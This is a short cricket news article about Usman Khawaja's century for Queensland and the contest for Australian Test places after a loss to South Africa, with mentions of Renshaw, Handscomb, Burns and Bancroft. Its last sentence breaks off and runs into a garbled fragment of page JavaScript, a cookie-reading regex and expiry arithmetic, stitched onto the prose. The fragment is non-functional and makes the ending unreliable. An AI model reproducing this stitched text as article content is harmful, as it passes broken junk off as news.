Khawaja all but cements his third Test spot with exquisite century

Usman Khawaja has scored a vital century while batting for Queensland on Thursday to all but cement his spot in the Australian Test side for the third Test against South Africa next week.

All but four Australian players were put on notice by coach Darren Lehmann following an embarrassing loss to the Proteas in the second Test in Hobart.

Lehmann named captain Steve Smith, opener David Warner and quicks Josh Hazlewood and Mitch Starc as safe after the match, but said every other Test spot was up for grabs.

But Khawaja did all he could on Thursday to add his name to the list, with an impressive ton against Tasmania.

The 29-year-old scored 106 from 137 balls, in an innings that included nine fours and two sixes.

Fellow Queenslander and opener Matt Renshaw, also put his name forward for an unlikely Baggy green, with a century of his own. The 20-year-old reached the milestone off 192 balls, showing he can be a patient, hard working batsman, the type of player Australia is crying out for.

The news was not so good for other Test aspirants, with Joe Burns caught behind down leg side for four, while Western Australian opener Cameron Bancroft was dismissed for two.

Young Victorian opener Marcus Harris made 28 for the Bushrangers against New South Wales, while Peter Handscomb also hit a century as he looks to clinch a maiden Test birth "(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}